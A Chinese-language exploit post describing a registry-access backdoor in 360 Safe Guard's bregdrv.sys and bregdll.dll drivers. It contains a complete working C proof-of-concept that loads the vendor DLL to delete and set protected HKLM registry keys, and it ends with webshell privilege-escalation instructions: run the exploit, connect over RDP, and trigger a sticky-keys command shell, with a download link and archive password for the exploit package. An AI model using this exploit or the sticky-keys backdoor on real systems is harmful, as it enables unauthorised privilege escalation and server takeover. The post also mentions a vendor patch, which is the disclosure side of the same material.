360安全卫士是在中国广泛使用的免费上网安全软件。

360安全卫士会在安装过程中在用户系统上安装一个注册表操作程序,该程序可以被用来绕过操作系统的安全检查机制任意操作(设置、删除等)用户的注册表。由于该程序没有对调用者进行检查,导致任意程序(如各种木马程序等)可以通过该后门任意操作(设置、删除等)用户的注册表系统。

该程序包括两个文件:

1. bregdrv.sys:内核模式驱动,该驱动程序通过调用操作系统的未公开CmXxx系列函数来操作注册表,另外由于操作系统内部本身维护了很多同步数据、缓存数据,直接调用CmXxx系列函数操作注册表极有可能造成系统内部数据不同步,严重影响系统安全性,甚至可能导致用户正常数据丢失。

2. bregdll.dll:用户态动态库,该动态库封装了对bregdrv.sys的调用,为用户态程序提供注册表操作后门的接口

参考:

http://it.rising.com.cn/info/2010-02-02/6604.html
http://bbs.360.cn/3229787/34800737.html?recommend=1

测试方法:EXp

提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

#include <windows.h>

typedef BOOL (WINAPI *INIT_REG_ENGINE)();
typedef LONG (WINAPI *BREG_DELETE_KEY)(HKEY hKey, LPCSTR lpSubKey);
typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);
typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);
typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);

 
BREG_DELETE_KEY BRegDeleteKey = NULL;
BREG_OPEN_KEY BRegOpenKey = NULL;
BREG_CLOSE_KEY BRegCloseKey = NULL;
REG_SET_VALUE_EX BRegSetValueEx = NULL;

 
#define AppPath                        "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe"

 
#define TestDeleteKey             HKEY_LOCAL_MACHINE
#define TestDeleteRegPath    "Software\\360Safe\\Update"

 
#define TestSetKey                   HKEY_LOCAL_MACHINE
#define TestSetPath                  "Software\\360Safe"

 
BOOL InitBRegDll()
{
         LONG lResult;
         HKEY hKey;

 
         CHAR cPath[MAX_PATH + 32] = { 0 };
         DWORD dwPathLen = MAX_PATH;

 
         lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &hKey);
         if (FAILED(lResult))
                  return FALSE;

         DWORD dwType = REG_SZ;
         lResult = RegQueryValueExA(hKey, "Path", NULL, &dwType, (LPBYTE)cPath, &dwPathLen);
         RegCloseKey(hKey);
         if (FAILED(lResult))
                  return FALSE;

 
         strcat(cPath, "\\deepscan\\BREGDLL.dll");

         HMODULE modBReg = LoadLibraryA(cPath);
         if (!modBReg)
                  return FALSE;

 
         INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, "InitRegEngine");
         BRegDeleteKey = (BREG_DELETE_KEY)GetProcAddress(modBReg, "BRegDeleteKey");
         BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, "BRegOpenKey");
         BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, "BRegCloseKey");
         BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, "BRegSetValueEx");

 
         if (!InitRegEngine || !BRegDeleteKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

 
         if (!InitRegEngine()) {
                  FreeLibrary(modBReg);
                  return FALSE;
         }

 
         return TRUE;
}

LONG TestSetRegKey()
{
         HKEY hKey;
         LONG lResult;

         lResult = BRegOpenKey(TestSetKey, TestSetPath, &hKey);
         if (FAILED(lResult))
                  return lResult;

         DWORD dwType = REG_SZ;
         static char szData[] = "TEST VALUE";
         lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&szData, (DWORD)sizeof(szData));
         BRegCloseKey(hKey);

         return lResult;
}

int main(int argc, char *argv[])
{
         if (!InitBRegDll()) {
                  MessageBoxA(NULL, "初始化BReg失败!", "失败", MB_ICONSTOP);
                  return 1;

         }
         if (FAILED(BRegDeleteKey(TestDeleteKey, TestDeleteRegPath))) {
                  MessageBoxA(NULL, "键值删除失败!", "失败", MB_ICONSTOP);
                  return 2;

         }

         if (FAILED(TestSetRegKey())) {
                  MessageBoxA(NULL, "设置键值失败!", "失败", MB_ICONSTOP);
                  return 3;
         }

         MessageBoxA(NULL, "突破系统安全检查,获得最高权限,漏洞利用成功!", "成功", MB_OK);
         return 0;
}
 
 
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载,或通过产品的自动升级功能修复:

http://www.360.cn
360本地提权(Webshell下使用说明)
在webshell下运行360test.exe
成功后,3389到服务器,按5下shift,得到一个cmd
下载:http://www.51chi.net/qing/360webshellExp.rar
解压密码qing

文章如转载,请注明转载自:http://www.5iadmin.com/post/225.html